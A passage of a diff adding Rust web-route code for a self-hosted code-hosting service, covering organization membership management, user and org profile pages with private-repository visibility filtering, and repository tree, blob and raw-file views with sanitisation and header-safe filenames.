| 274 | + | return Ok(member_err(&handle, "No such user.")); | |
| 275 | + | }; | |
| 276 | + | ||
| 277 | + | sqlx::query( | |
| 278 | + | "INSERT INTO org_members (org_id, user_id, role) VALUES ($1, $2, $3::org_role) | |
| 279 | + | ON CONFLICT (org_id, user_id) DO UPDATE SET role = EXCLUDED.role", | |
| 280 | + | ) | |
| 281 | + | .bind(org.id) | |
| 282 | + | .bind(target_id) | |
| 283 | + | .bind(role) | |
| 284 | + | .execute(&state.db) | |
| 285 | + | .await?; | |
| 286 | + | ||
| 287 | + | audit( | |
| 288 | + | &state, | |
| 289 | + | user.id, | |
| 290 | + | "org.member_added", | |
| 291 | + | &format!("{handle} {} = {role}", form.handle.trim()), | |
| 292 | + | ) | |
| 293 | + | .await; | |
| 294 | + | ||
| 295 | + | Ok(member_ok(&handle, "Member added.")) | |
| 296 | + | } | |
| 297 | + | ||
| 298 | + | /// `POST /{handle}/-/members/remove` | |
| 299 | + | pub async fn remove_member( | |
| 300 | + | State(state): State<AppState>, | |
| 301 | + | UrlPath(handle): UrlPath<String>, | |
| 302 | + | CurrentUser(user): CurrentUser, | |
| 303 | + | Form(form): Form<MemberForm>, | |
| 304 | + | ) -> AppResult<Response> { | |
| 305 | + | let (org, user) = require_org_admin(&state, &handle, user).await?; | |
| 306 | + | ||
| 307 | + | // An org with no administrator cannot be administered again — there is no | |
| 308 | + | // site-wide "adopt this org" path — so the last one cannot leave. | |
| 309 | + | let admins: i64 = sqlx::query_scalar( | |
| 310 | + | "SELECT count(*) FROM org_members WHERE org_id = $1 AND role = 'admin'", | |
| 311 | + | ) | |
| 312 | + | .bind(org.id) | |
| 313 | + | .fetch_one(&state.db) | |
| 314 | + | .await?; | |
| 315 | + | ||
| 316 | + | let target_is_admin: bool = sqlx::query_scalar( | |
| 317 | + | "SELECT EXISTS (SELECT 1 FROM org_members m JOIN users u ON u.id = m.user_id | |
| 318 | + | WHERE m.org_id = $1 AND u.handle = $2 AND m.role = 'admin')", | |
| 319 | + | ) | |
| 320 | + | .bind(org.id) | |
| 321 | + | .bind(form.handle.trim()) | |
| 322 | + | .fetch_one(&state.db) | |
| 323 | + | .await?; | |
| 324 | + | ||
| 325 | + | if target_is_admin && admins <= 1 { | |
| 326 | + | return Ok(member_err( | |
| 327 | + | &handle, | |
| 328 | + | "That is the last administrator; promote somebody else first.", | |
| 329 | + | )); | |
| 330 | + | } | |
| 331 | + | ||
| 332 | + | sqlx::query( | |
| 333 | + | "DELETE FROM org_members | |
| 334 | + | WHERE org_id = $1 AND user_id = (SELECT id FROM users WHERE handle = $2)", | |
| 335 | + | ) | |
| 336 | + | .bind(org.id) | |
| 337 | + | .bind(form.handle.trim()) | |
| 338 | + | .execute(&state.db) | |
| 339 | + | .await?; | |
| 340 | + | ||
| 341 | + | audit( | |
| 342 | + | &state, | |
| 343 | + | user.id, | |
| 344 | + | "org.member_removed", | |
| 345 | + | &format!("{handle} {}", form.handle.trim()), | |
| 346 | + | ) | |
| 347 | + | .await; | |
| 348 | + | ||
| 349 | + | Ok(member_ok(&handle, "Member removed.")) | |
| 350 | + | } | |
| 351 | + | ||
| 352 | + | // ─── helpers ───────────────────────────────────────────────────────────────── | |
| 353 | + | ||
| 354 | + | pub struct Org { | |
| 355 | + | pub id: Uuid, | |
| 356 | + | pub handle: String, | |
| 357 | + | pub display_name: Option<String>, | |
| 358 | + | } | |
| 359 | + | ||
| 360 | + | async fn load_org(state: &AppState, handle: &str) -> AppResult<Option<Org>> { | |
| 361 | + | let row: Option<(Uuid, String, Option<String>)> = | |
| 362 | + | sqlx::query_as("SELECT id, handle::text, display_name FROM orgs WHERE handle = $1") | |
| 363 | + | .bind(handle) | |
| 364 | + | .fetch_optional(&state.db) | |
| 365 | + | .await?; | |
| 366 | + | Ok(row.map(|(id, handle, display_name)| Org { id, handle, display_name })) | |
| 367 | + | } | |
| 368 | + | ||
| 369 | + | async fn member_role(state: &AppState, org_id: Uuid, user_id: Uuid) -> AppResult<Option<OrgRole>> { | |
| 370 | + | Ok( | |
| 371 | + | sqlx::query_scalar("SELECT role FROM org_members WHERE org_id = $1 AND user_id = $2") | |
| 372 | + | .bind(org_id) | |
| 373 | + | .bind(user_id) | |
| 374 | + | .fetch_optional(&state.db) | |
| 375 | + | .await?, | |
| 376 | + | ) | |
| 377 | + | } | |
| 378 | + | ||
| 379 | + | /// Resolve the org and require the viewer to administer it. | |
| 380 | + | /// | |
| 381 | + | /// Returns the same 404 for "no such org" and "you are not a member" — org | |
| 382 | + | /// membership is not public here, so a 403 would disclose that the org exists. | |
| 383 | + | async fn require_org_admin( | |
| 384 | + | state: &AppState, | |
| 385 | + | handle: &str, | |
| 386 | + | user: Option<std::sync::Arc<df_db::models::User>>, | |
| 387 | + | ) -> AppResult<(Org, std::sync::Arc<df_db::models::User>)> { | |
| 388 | + | let Some(user) = user else { | |
| 389 | + | return Err(AppError::Unauthorized); | |
| 390 | + | }; | |
| 391 | + | let org = load_org(state, handle).await?.ok_or(AppError::NotFound)?; | |
| 392 | + | let role = member_role(state, org.id, user.id).await?; | |
| 393 | + | ||
| 394 | + | if role.is_none() && !user.is_admin { | |
| 395 | + | return Err(AppError::NotFound); | |
| 396 | + | } | |
| 397 | + | if role != Some(OrgRole::Admin) && !user.is_admin { | |
| 398 | + | return Err(AppError::Forbidden); | |
| 399 | + | } | |
| 400 | + | Ok((org, user)) | |
| 401 | + | } | |
| 402 | + | ||
| 403 | + | fn valid_handle(h: &str) -> bool { | |
| 404 | + | !h.is_empty() | |
| 405 | + | && h.len() <= 39 | |
| 406 | + | && h.chars().next().is_some_and(|c| c.is_ascii_alphanumeric()) | |
| 407 | + | && h.chars().all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || c == '-') | |
| 408 | + | } | |
| 409 | + | ||
| 410 | + | fn is_unique_violation(e: &sqlx::Error) -> bool { | |
| 411 | + | matches!(e, sqlx::Error::Database(db) if db.code().as_deref() == Some("23505")) | |
| 412 | + | } | |
| 413 | + | ||
| 414 | + | fn role_str(r: OrgRole) -> &'static str { | |
| 415 | + | match r { | |
| 416 | + | OrgRole::Member => "member", | |
| 417 | + | OrgRole::Admin => "admin", | |
| 418 | + | } | |
| 419 | + | } | |
| 420 | + | ||
| 421 | + | fn reject(msg: &str) -> Response { | |
| 422 | + | Redirect::to(&format!("/orgs/new?error={}", urlencode(msg))).into_response() | |
| 423 | + | } | |
| 424 | + | ||
| 425 | + | fn member_ok(handle: &str, msg: &str) -> Response { | |
| 426 | + | Redirect::to(&format!("/{handle}/-/members?notice={}", urlencode(msg))).into_response() | |
| 427 | + | } | |
| 428 | + | ||
| 429 | + | fn member_err(handle: &str, msg: &str) -> Response { | |
| 430 | + | Redirect::to(&format!("/{handle}/-/members?error={}", urlencode(msg))).into_response() | |
| 431 | + | } | |
| 432 | + | ||
| 433 | + | #[cfg(test)] | |
| 434 | + | mod tests { | |
| 435 | + | use super::valid_handle; | |
| 436 | + | ||
| 437 | + | #[test] | |
| 438 | + | fn handle_validation_matches_the_database_constraint() { | |
| 439 | + | assert!(valid_handle("acme")); | |
| 440 | + | assert!(valid_handle("acme-corp")); | |
| 441 | + | assert!(valid_handle("9lives")); | |
| 442 | + | ||
| 443 | + | assert!(!valid_handle("")); | |
| 444 | + | assert!(!valid_handle("-leading")); | |
| 445 | + | assert!(!valid_handle("Upper")); | |
| 446 | + | assert!(!valid_handle("with space")); | |
| 447 | + | assert!(!valid_handle("under_score")); | |
| 448 | + | assert!(!valid_handle(&"a".repeat(40))); | |
| 449 | + | } | |
| 450 | + | } | |
Acrates/df-web/src/routes/profile.rs+180−0
| @@ −0,0 +1,180 @@ | |||
| 1 | + | //! `GET /{owner}` — a user or organization profile (spec §7). | |
| 2 | + | //! | |
| 3 | + | //! Users and organizations share one handle namespace (enforced by a trigger in | |
| 4 | + | //! the schema), so one route serves both and the lookup tries users first. | |
| 5 | + | //! | |
| 6 | + | //! The repository list is filtered by the same rule the repository pages use: | |
| 7 | + | //! public repos to everyone, private repos only where the viewer has a | |
| 8 | + | //! collaborator row, an org membership, ownership, or site admin. Getting this | |
| 9 | + | //! query wrong is the private-repo leak in its most direct form — a profile page | |
| 10 | + | //! that enumerates repositories the viewer cannot open. | |
| 11 | + | ||
| 12 | + | use axum::extract::{Path as UrlPath, State}; | |
| 13 | + | use axum::response::{IntoResponse, Response}; | |
| 14 | + | use serde::Deserialize; | |
| 15 | + | use uuid::Uuid; | |
| 16 | + | ||
| 17 | + | use crate::error::{AppError, AppResult}; | |
| 18 | + | use crate::state::{AppState, CsrfToken, CurrentUser, Nonce}; | |
| 19 | + | use crate::views::settings as v; | |
| 20 | + | use crate::views::{self, Chrome}; | |
| 21 | + | ||
| 22 | + | /// `GET /{owner}` | |
| 23 | + | pub async fn show( | |
| 24 | + | State(state): State<AppState>, | |
| 25 | + | UrlPath(handle): UrlPath<String>, | |
| 26 | + | CurrentUser(user): CurrentUser, | |
| 27 | + | CsrfToken(csrf): CsrfToken, | |
| 28 | + | Nonce(nonce): Nonce, | |
| 29 | + | ) -> AppResult<Response> { | |
| 30 | + | let viewer = user.as_ref().map(|u| u.id); | |
| 31 | + | let is_site_admin = user.as_ref().is_some_and(|u| u.is_admin); | |
| 32 | + | ||
| 33 | + | let owner = load_owner(&state, &handle).await?.ok_or(AppError::NotFound)?; | |
| 34 | + | ||
| 35 | + | let repos = load_repos(&state, &owner, viewer, is_site_admin).await?; | |
| 36 | + | ||
| 37 | + | let members = if owner.is_org { | |
| 38 | + | load_members(&state, owner.id).await? | |
| 39 | + | } else { | |
| 40 | + | Vec::new() | |
| 41 | + | }; | |
| 42 | + | ||
| 43 | + | Ok(views::page( | |
| 44 | + | Chrome { | |
| 45 | + | title: &owner.handle, | |
| 46 | + | user: user.as_deref(), | |
| 47 | + | csrf: &csrf, | |
| 48 | + | nonce: &nonce, | |
| 49 | + | }, | |
| 50 | + | v::profile(v::Profile { | |
| 51 | + | handle: &owner.handle, | |
| 52 | + | display_name: owner.display_name.as_deref(), | |
| 53 | + | description: owner.description.as_deref(), | |
| 54 | + | is_org: owner.is_org, | |
| 55 | + | repos: &repos, | |
| 56 | + | members: &members, | |
| 57 | + | joined: owner.created_at, | |
| 58 | + | }), | |
| 59 | + | ) | |
| 60 | + | .into_response()) | |
| 61 | + | } | |
| 62 | + | ||
| 63 | + | struct Owner { | |
| 64 | + | id: Uuid, | |
| 65 | + | handle: String, | |
| 66 | + | display_name: Option<String>, | |
| 67 | + | description: Option<String>, | |
| 68 | + | is_org: bool, | |
| 69 | + | created_at: chrono::DateTime<chrono::Utc>, | |
| 70 | + | } | |
| 71 | + | ||
| 72 | + | #[derive(sqlx::FromRow)] | |
| 73 | + | struct OwnerRow { | |
| 74 | + | id: Uuid, | |
| 75 | + | handle: String, | |
| 76 | + | display_name: Option<String>, | |
| 77 | + | description: Option<String>, | |
| 78 | + | is_org: bool, | |
| 79 | + | created_at: chrono::DateTime<chrono::Utc>, | |
| 80 | + | } | |
| 81 | + | ||
| 82 | + | async fn load_owner(state: &AppState, handle: &str) -> AppResult<Option<Owner>> { | |
| 83 | + | // One statement over both tables. The handle namespace is shared, so at most | |
| 84 | + | // one row can match — and doing it in one query means a user and an org can | |
| 85 | + | // never both be found and silently resolved in some arbitrary order. | |
| 86 | + | let row: Option<OwnerRow> = sqlx::query_as( | |
| 87 | + | r#" | |
| 88 | + | SELECT id, handle::text AS handle, display_name, NULL::text AS description, | |
| 89 | + | false AS is_org, created_at | |
| 90 | + | FROM users WHERE handle = $1 | |
| 91 | + | UNION ALL | |
| 92 | + | SELECT id, handle::text AS handle, display_name, description, | |
| 93 | + | true AS is_org, created_at | |
| 94 | + | FROM orgs WHERE handle = $1 | |
| 95 | + | "#, | |
| 96 | + | ) | |
| 97 | + | .bind(handle) | |
| 98 | + | .fetch_optional(&state.db) | |
| 99 | + | .await?; | |
| 100 | + | ||
| 101 | + | Ok(row.map(|r| Owner { | |
| 102 | + | id: r.id, | |
| 103 | + | handle: r.handle, | |
| 104 | + | display_name: r.display_name, | |
| 105 | + | description: r.description, | |
| 106 | + | is_org: r.is_org, | |
| 107 | + | created_at: r.created_at, | |
| 108 | + | })) | |
| 109 | + | } | |
| 110 | + | ||
| 111 | + | #[derive(Deserialize, sqlx::FromRow)] | |
| 112 | + | struct RepoRow { | |
| 113 | + | name: String, | |
| 114 | + | description: Option<String>, | |
| 115 | + | private: bool, | |
| 116 | + | pushed_at: Option<chrono::DateTime<chrono::Utc>>, | |
| 117 | + | } | |
| 118 | + | ||
| 119 | + | async fn load_repos( | |
| 120 | + | state: &AppState, | |
| 121 | + | owner: &Owner, | |
| 122 | + | viewer: Option<Uuid>, | |
| 123 | + | is_site_admin: bool, | |
| 124 | + | ) -> AppResult<Vec<v::ProfileRepo>> { | |
| 125 | + | // The visibility predicate is written out here rather than filtered in Rust | |
| 126 | + | // so a private repository is never loaded in the first place. Every branch | |
| 127 | + | // after the first requires `$2` (the viewer) to be non-null, so an anonymous | |
| 128 | + | // request can only ever match the public branch. | |
| 129 | + | let rows: Vec<RepoRow> = sqlx::query_as( | |
| 130 | + | r#" | |
| 131 | + | SELECT r.name::text AS name, | |
| 132 | + | r.description, | |
| 133 | + | (r.visibility = 'private') AS private, | |
| 134 | + | r.pushed_at | |
| 135 | + | FROM repos r | |
| 136 | + | WHERE (r.owner_user_id = $1 OR r.owner_org_id = $1) | |
| 137 | + | AND ( | |
| 138 | + | r.visibility = 'public' | |
| 139 | + | OR $3 | |
| 140 | + | OR r.owner_user_id = $2 | |
| 141 | + | OR EXISTS (SELECT 1 FROM repo_collaborators c | |
| 142 | + | WHERE c.repo_id = r.id AND c.user_id = $2) | |
| 143 | + | OR EXISTS (SELECT 1 FROM org_members m | |
| 144 | + | WHERE m.org_id = r.owner_org_id AND m.user_id = $2) | |
| 145 | + | ) | |
| 146 | + | ORDER BY r.pushed_at DESC NULLS LAST, r.name | |
| 147 | + | LIMIT 200 | |
| 148 | + | "#, | |
| 149 | + | ) | |
| 150 | + | .bind(owner.id) | |
| 151 | + | .bind(viewer) | |
| 152 | + | .bind(is_site_admin) | |
| 153 | + | .fetch_all(&state.db) | |
| 154 | + | .await?; | |
| 155 | + | ||
| 156 | + | Ok(rows | |
| 157 | + | .into_iter() | |
| 158 | + | .map(|r| v::ProfileRepo { | |
| 159 | + | name: r.name, | |
| 160 | + | description: r.description, | |
| 161 | + | private: r.private, | |
| 162 | + | pushed_at: r.pushed_at, | |
| 163 | + | }) | |
| 164 | + | .collect()) | |
| 165 | + | } | |
| 166 | + | ||
| 167 | + | async fn load_members( | |
| 168 | + | state: &AppState, | |
| 169 | + | org_id: Uuid, | |
| 170 | + | ) -> AppResult<Vec<(String, df_db::models::OrgRole)>> { | |
| 171 | + | Ok(sqlx::query_as( | |
| 172 | + | "SELECT u.handle::text, m.role | |
| 173 | + | FROM org_members m JOIN users u ON u.id = m.user_id | |
| 174 | + | WHERE m.org_id = $1 | |
| 175 | + | ORDER BY m.role DESC, u.handle", | |
| 176 | + | ) | |
| 177 | + | .bind(org_id) | |
| 178 | + | .fetch_all(&state.db) | |
| 179 | + | .await?) | |
| 180 | + | } | |
Acrates/df-web/src/routes/repo.rs754 lines+754−0
| @@ −0,0 +1,754 @@ | |||
| 1 | + | //! Repository browsing (M2) and creation. | |
| 2 | + | ||
| 3 | + | use std::path::Path; | |
| 4 | + | ||
| 5 | + | use axum::extract::{Path as UrlPath, Query, State}; | |
| 6 | + | use axum::response::{IntoResponse, Redirect, Response}; | |
| 7 | + | use axum::Form; | |
| 8 | + | use df_db::ids::new_id; | |
| 9 | + | use df_store::StoreError; | |
| 10 | + | use serde::Deserialize; | |
| 11 | + | use uuid::Uuid; | |
| 12 | + | ||
| 13 | + | use crate::error::{AppError, AppResult}; | |
| 14 | + | use crate::repo_ctx::RepoContext; | |
| 15 | + | use crate::state::{AppState, CsrfToken, CurrentUser, Nonce}; | |
| 16 | + | use crate::views::repo as v; | |
| 17 | + | use crate::views::{self, Chrome}; | |
| 18 | + | ||
| 19 | + | /// Map a store error to an HTTP outcome. | |
| 20 | + | /// | |
| 21 | + | /// `NoSuchRepo` becomes a 404 rather than a 500: it means the database and the | |
| 22 | + | /// filesystem disagree, which is a real state after a restore (spec §10) and | |
| 23 | + | /// should look like a missing repository, not a crash. | |
| 24 | + | fn store_err(e: StoreError) -> AppError { | |
| 25 | + | match e { | |
| 26 | + | StoreError::NoSuchRepo | StoreError::NoSuchRevision | StoreError::NoSuchPath => { | |
| 27 | + | AppError::NotFound | |
| 28 | + | } | |
| 29 | + | StoreError::IsDirectory => AppError::BadRequest("that path is a directory".into()), | |
| 30 | + | StoreError::Path(p) => AppError::BadRequest(p.to_string()), | |
| 31 | + | other => AppError::Internal(anyhow::anyhow!(other)), | |
| 32 | + | } | |
| 33 | + | } | |
| 34 | + | ||
| 35 | + | /// `GET /{owner}/{repo}` — code view at the default bookmark. | |
| 36 | + | pub async fn index( | |
| 37 | + | State(state): State<AppState>, | |
| 38 | + | UrlPath((owner, name)): UrlPath<(String, String)>, | |
| 39 | + | CurrentUser(user): CurrentUser, | |
| 40 | + | CsrfToken(csrf): CsrfToken, | |
| 41 | + | Nonce(nonce): Nonce, | |
| 42 | + | ) -> AppResult<Response> { | |
| 43 | + | let ctx = RepoContext::load(&state, &owner, &name, user.as_deref()).await?; | |
| 44 | + | ||
| 45 | + | let empty = state | |
| 46 | + | .store | |
| 47 | + | .is_empty(ctx.store_id()) | |
| 48 | + | .await | |
| 49 | + | .unwrap_or(true); | |
| 50 | + | ||
| 51 | + | let body = if empty { | |
| 52 | + | v::empty_repo( | |
| 53 | + | &state.config.https_clone_url(&ctx.owner, &ctx.repo.name), | |
| 54 | + | &state.config.ssh_clone_url(&ctx.owner, &ctx.repo.name), | |
| 55 | + | ) | |
| 56 | + | } else { | |
| 57 | + | let rev_label = ctx.repo.default_bookmark.clone(); | |
| 58 | + | let rev = state | |
| 59 | + | .store | |
| 60 | + | .resolve(ctx.store_id(), &rev_label) | |
| 61 | + | .await | |
| 62 | + | .map_err(store_err)?; | |
| 63 | + | let entries = state | |
| 64 | + | .store | |
| 65 | + | .list_tree(ctx.store_id(), &rev, Path::new("")) | |
| 66 | + | .await | |
| 67 | + | .map_err(store_err)?; | |
| 68 | + | ||
| 69 | + | let readme = render_readme(&state, &ctx, &rev, &entries).await; | |
| 70 | + | let tip = tip_commit(&state, &ctx, &rev).await; | |
| 71 | + | v::tree_listing(&ctx, &rev_label, "", &entries, tip.as_ref(), readme.as_ref()) | |
| 72 | + | }; | |
| 73 | + | ||
| 74 | + | Ok(render(&ctx, "code", &csrf, &nonce, user.as_deref(), body)) | |
| 75 | + | } | |
| 76 | + | ||
| 77 | + | #[derive(Deserialize)] | |
| 78 | + | pub struct RevPath { | |
| 79 | + | pub owner: String, | |
| 80 | + | pub repo: String, | |
| 81 | + | pub rev: String, | |
| 82 | + | #[serde(default)] | |
| 83 | + | pub path: String, | |
| 84 | + | } | |
| 85 | + | ||
| 86 | + | /// `GET /{owner}/{repo}/tree/{rev}/{path...}` | |
| 87 | + | pub async fn tree( | |
| 88 | + | State(state): State<AppState>, | |
| 89 | + | UrlPath(p): UrlPath<RevPath>, | |
| 90 | + | CurrentUser(user): CurrentUser, | |
| 91 | + | CsrfToken(csrf): CsrfToken, | |
| 92 | + | Nonce(nonce): Nonce, | |
| 93 | + | ) -> AppResult<Response> { | |
| 94 | + | let ctx = RepoContext::load(&state, &p.owner, &p.repo, user.as_deref()).await?; | |
| 95 | + | ||
| 96 | + | let rev = state | |
| 97 | + | .store | |
| 98 | + | .resolve(ctx.store_id(), &p.rev) | |
| 99 | + | .await | |
| 100 | + | .map_err(store_err)?; | |
| 101 | + | ||
| 102 | + | let entries = state | |
| 103 | + | .store | |
| 104 | + | .list_tree(ctx.store_id(), &rev, Path::new(&p.path)) | |
| 105 | + | .await | |
| 106 | + | .map_err(store_err)?; | |
| 107 | + | ||
| 108 | + | let readme = if p.path.is_empty() { | |
| 109 | + | render_readme(&state, &ctx, &rev, &entries).await | |
| 110 | + | } else { | |
| 111 | + | None | |
| 112 | + | }; | |
| 113 | + | ||
| 114 | + | let tip = tip_commit(&state, &ctx, &rev).await; | |
| 115 | + | ||
| 116 | + | let body = v::tree_listing(&ctx, &p.rev, &p.path, &entries, tip.as_ref(), readme.as_ref()); | |
| 117 | + | Ok(render(&ctx, "code", &csrf, &nonce, user.as_deref(), body)) | |
| 118 | + | } | |
| 119 | + | ||
| 120 | + | /// The revision at the tip of what is being browsed. | |
| 121 | + | /// | |
| 122 | + | /// Best-effort: the listing is the point of the page, so a store that cannot | |
| 123 | + | /// produce a log still renders the files rather than failing the request. | |
| 124 | + | async fn tip_commit( | |
| 125 | + | state: &AppState, | |
| 126 | + | ctx: &RepoContext, | |
| 127 | + | rev: &df_store::RevId, | |
| 128 | + | ) -> Option<v::TipCommit> { | |
| 129 | + | let revisions = state.store.log(ctx.store_id(), rev, 1).await.ok()?; | |
| 130 | + | let r = revisions.into_iter().next()?; | |
| 131 | + | ||
| 132 | + | Some(v::TipCommit { | |
| 133 | + | author: r.author.name.clone(), | |
| 134 | + | summary: r.summary().to_string(), | |
| 135 | + | when: r.author.when, | |
| 136 | + | change_id: r.change_id.clone(), | |
| 137 | + | }) | |
| 138 | + | } | |
| 139 | + | ||
| 140 | + | /// Is this path a markdown document? | |
| 141 | + | /// | |
| 142 | + | /// Extension-based on purpose: sniffing content would mean a file that happens | |
| 143 | + | /// to start with a `#` gets rendered as a heading, which is worse than a `.txt` | |
| 144 | + | /// missing out on rendering. | |
| 145 | + | fn is_markdown(path: &str) -> bool { | |
| 146 | + | let lower = path.to_lowercase(); | |
| 147 | + | lower.ends_with(".md") || lower.ends_with(".markdown") | |
| 148 | + | } | |
| 149 | + | ||
| 150 | + | #[derive(Deserialize, Default)] | |
| 151 | + | pub struct BlobQuery { | |
| 152 | + | /// `source` shows the highlighted source of a markdown file instead of the | |
| 153 | + | /// rendered document. Anything else — including absent — renders. | |
| 154 | + | #[serde(default)] | |
| 155 | + | pub view: Option<String>, | |
| 156 | + | /// When `blame=1`, show per-line blame annotations. | |
| 157 | + | #[serde(default)] | |
| 158 | + | pub blame: Option<String>, | |
| 159 | + | } | |
| 160 | + | ||
| 161 | + | /// `GET /{owner}/{repo}/blob/{rev}/{path...}` | |
| 162 | + | pub async fn blob( | |
| 163 | + | State(state): State<AppState>, | |
| 164 | + | UrlPath(p): UrlPath<RevPath>, | |
| 165 | + | Query(q): Query<BlobQuery>, | |
| 166 | + | CurrentUser(user): CurrentUser, | |
| 167 | + | CsrfToken(csrf): CsrfToken, | |
| 168 | + | Nonce(nonce): Nonce, | |
| 169 | + | ) -> AppResult<Response> { | |
| 170 | + | let ctx = RepoContext::load(&state, &p.owner, &p.repo, user.as_deref()).await?; | |
| 171 | + | ||
| 172 | + | let rev = state | |
| 173 | + | .store | |
| 174 | + | .resolve(ctx.store_id(), &p.rev) | |
| 175 | + | .await | |
| 176 | + | .map_err(store_err)?; | |
| 177 | + | ||
| 178 | + | let wants_source = q.view.as_deref() == Some("source"); | |
| 179 | + | let wants_blame = q.blame.as_deref() == Some("1"); | |
| 180 | + | let markdown_path = is_markdown(&p.path); | |
| 181 | + | ||
| 182 | + | // Fetch the file tree for the sidebar (directory containing this file). | |
| 183 | + | let tree_dir = match p.path.rsplit_once('/') { | |
| 184 | + | Some((parent, _)) => parent.to_string(), | |
| 185 | + | None => String::new(), | |
| 186 | + | }; | |
| 187 | + | let sidebar_entries = state | |
| 188 | + | .store | |
| 189 | + | .list_tree(ctx.store_id(), &rev, Path::new(&tree_dir)) | |
| 190 | + | .await | |
| 191 | + | .unwrap_or_default(); | |
| 192 | + | ||
| 193 | + | // Fetch the last commit that modified this file. | |
| 194 | + | let last_commit = state | |
| 195 | + | .store | |
| 196 | + | .last_commit_for_path(ctx.store_id(), &rev, Path::new(&p.path)) | |
| 197 | + | .await | |
| 198 | + | .ok() | |
| 199 | + | .flatten(); | |
| 200 | + | ||
| 201 | + | // Optionally fetch blame. | |
| 202 | + | let blame_lines = if wants_blame { | |
| 203 | + | state | |
| 204 | + | .store | |
| 205 | + | .blame(ctx.store_id(), &rev, Path::new(&p.path)) | |
| 206 | + | .await | |
| 207 | + | .ok() | |
| 208 | + | } else { | |
| 209 | + | None | |
| 210 | + | }; | |
| 211 | + | ||
| 212 | + | let body = match state | |
| 213 | + | .store | |
| 214 | + | .read_blob(ctx.store_id(), &rev, Path::new(&p.path)) | |
| 215 | + | .await | |
| 216 | + | { | |
| 217 | + | Ok(b) => { | |
| 218 | + | let limit = state.config.max_blob_render_bytes as u64; | |
| 219 | + | if b.size > limit { | |
| 220 | + | v::blob_view( | |
| 221 | + | &ctx, | |
| 222 | + | &p.rev, | |
| 223 | + | &p.path, | |
| 224 | + | v::BlobBody::TooLarge { size: b.size, limit }, | |
| 225 | + | None, | |
| 226 | + | &v::BlobExtras::default(), | |
| 227 | + | ) | |
| 228 | + | } else if b.text().is_some() { | |
| 229 | + | // Highlighting is cached by content address, so re-viewing a | |
| 230 | + | // file — or viewing it at a revision that did not change it — | |
| 231 | + | // never re-parses (spec §8). | |
| 232 | + | let hl = crate::highlight_cache::render(&state.db, &b).await; | |
| 233 | + | let text = b.text().unwrap_or(""); | |
| 234 | + | let lines = text.lines().count(); | |
| 235 | + | ||
| 236 | + | // Always sanitised — never trust repository content (spec §9). | |
| 237 | + | let rendered = (markdown_path && !wants_source) | |
| 238 | + | .then(|| v::rendered_markdown(&df_render::markdown_to_html(text))); | |
| 239 | + | ||
| 240 | + | let markdown = match (markdown_path, &rendered) { | |
| 241 | + | (true, Some(doc)) => Some(v::MarkdownView::Rendered(doc)), | |
| 242 | + | (true, None) => Some(v::MarkdownView::Source), | |
| 243 | + | (false, _) => None, | |
| 244 | + | }; | |
| 245 | + | ||
| 246 | + | // Extract symbols for the outline panel. | |
| 247 | + | let symbols = df_render::symbols::extract_symbols(&p.path, text); | |
| 248 | + | ||
| 249 | + | let extras = v::BlobExtras { | |
| 250 | + | sidebar_entries: &sidebar_entries, | |
| 251 | + | sidebar_dir: &tree_dir, | |
| 252 | + | symbols: &symbols, | |
| 253 | + | last_commit: last_commit.as_ref(), | |
| 254 | + | blame: blame_lines.as_deref(), | |
| 255 | + | wants_blame, | |
| 256 | + | }; | |
| 257 | + | ||
| 258 | + | v::blob_view( | |
| 259 | + | &ctx, | |
| 260 | + | &p.rev, | |
| 261 | + | &p.path, | |
| 262 | + | v::BlobBody::Text { | |
| 263 | + | content: text, | |
| 264 | + | lines, | |
| 265 | + | highlighted: &hl.lines, | |
| 266 | + | language: hl.language.as_deref(), | |
| 267 | + | plain_reason: hl.skipped.and_then(plain_reason), | |
| 268 | + | }, | |
| 269 | + | markdown, | |
| 270 | + | &extras, | |
| 271 | + | ) | |
| 272 | + | } else { | |
| 273 | + | v::blob_view( | |
| 274 | + | &ctx, | |
| 275 | + | &p.rev, | |
| 276 | + | &p.path, | |
| 277 | + | v::BlobBody::Binary { size: b.size }, | |
| 278 | + | None, | |
| 279 | + | &v::BlobExtras::default(), | |
| 280 | + | ) | |
| 281 | + | } | |
| 282 | + | } | |
| 283 | + | // The store's own cap fired before ours. | |
| 284 | + | Err(StoreError::TooLarge { size, limit }) => { | |
| 285 | + | v::blob_view( | |
| 286 | + | &ctx, | |
| 287 | + | &p.rev, | |
| 288 | + | &p.path, | |
| 289 | + | v::BlobBody::TooLarge { size, limit }, | |
| 290 | + | None, | |
| 291 | + | &v::BlobExtras::default(), | |
| 292 | + | ) | |
| 293 | + | } | |
| 294 | + | Err(e) => return Err(store_err(e)), | |
| 295 | + | }; | |
| 296 | + | ||
| 297 | + | Ok(render(&ctx, "code", &csrf, &nonce, user.as_deref(), body)) | |
| 298 | + | } | |
| 299 | + | ||
| 300 | + | /// `GET /{owner}/{repo}/raw/{rev}/{path...}` | |
| 301 | + | /// | |
| 302 | + | /// Spec §9: "Blob content served ... with `Content-Disposition: attachment` and | |
| 303 | + | /// `X-Content-Type-Options: nosniff` — never serve user-controlled HTML on the | |
| 304 | + | /// app origin." Everything here is `application/octet-stream` and downloaded, | |
| 305 | + | /// so a repository containing an HTML page cannot execute against our origin. | |
| 306 | + | pub async fn raw( | |
| 307 | + | State(state): State<AppState>, | |
| 308 | + | UrlPath(p): UrlPath<RevPath>, | |
| 309 | + | CurrentUser(user): CurrentUser, | |
| 310 | + | ) -> AppResult<Response> { | |
| 311 | + | let ctx = RepoContext::load(&state, &p.owner, &p.repo, user.as_deref()).await?; | |
| 312 | + | ||
| 313 | + | let rev = state | |
| 314 | + | .store | |
| 315 | + | .resolve(ctx.store_id(), &p.rev) | |
| 316 | + | .await | |
| 317 | + | .map_err(store_err)?; | |
| 318 | + | ||
| 319 | + | let blob = state | |
| 320 | + | .store | |
| 321 | + | .read_blob(ctx.store_id(), &rev, Path::new(&p.path)) | |
| 322 | + | .await | |
| 323 | + | .map_err(store_err)?; | |
| 324 | + | ||
| 325 | + | let filename = p | |
| 326 | + | .path | |
| 327 | + | .rsplit('/') | |
| 328 | + | .next() | |
| 329 | + | .filter(|s| !s.is_empty()) | |
| 330 | + | .unwrap_or("file"); | |
| 331 | + | ||
| 332 | + | // The filename reaches a header; strip anything that could break out of the | |
| 333 | + | // quoted string or inject a second header. | |
| 334 | + | let safe_name: String = filename | |
| 335 | + | .chars() | |
| 336 | + | .filter(|c| !matches!(c, '"' | '\\' | '\r' | '\n') && !c.is_control()) | |
| 337 | + | .take(200) | |
| 338 | + | .collect(); | |
| 339 | + | ||
| 340 | + | Ok(( | |
| 341 | + | [ | |
| 342 | + | ( | |
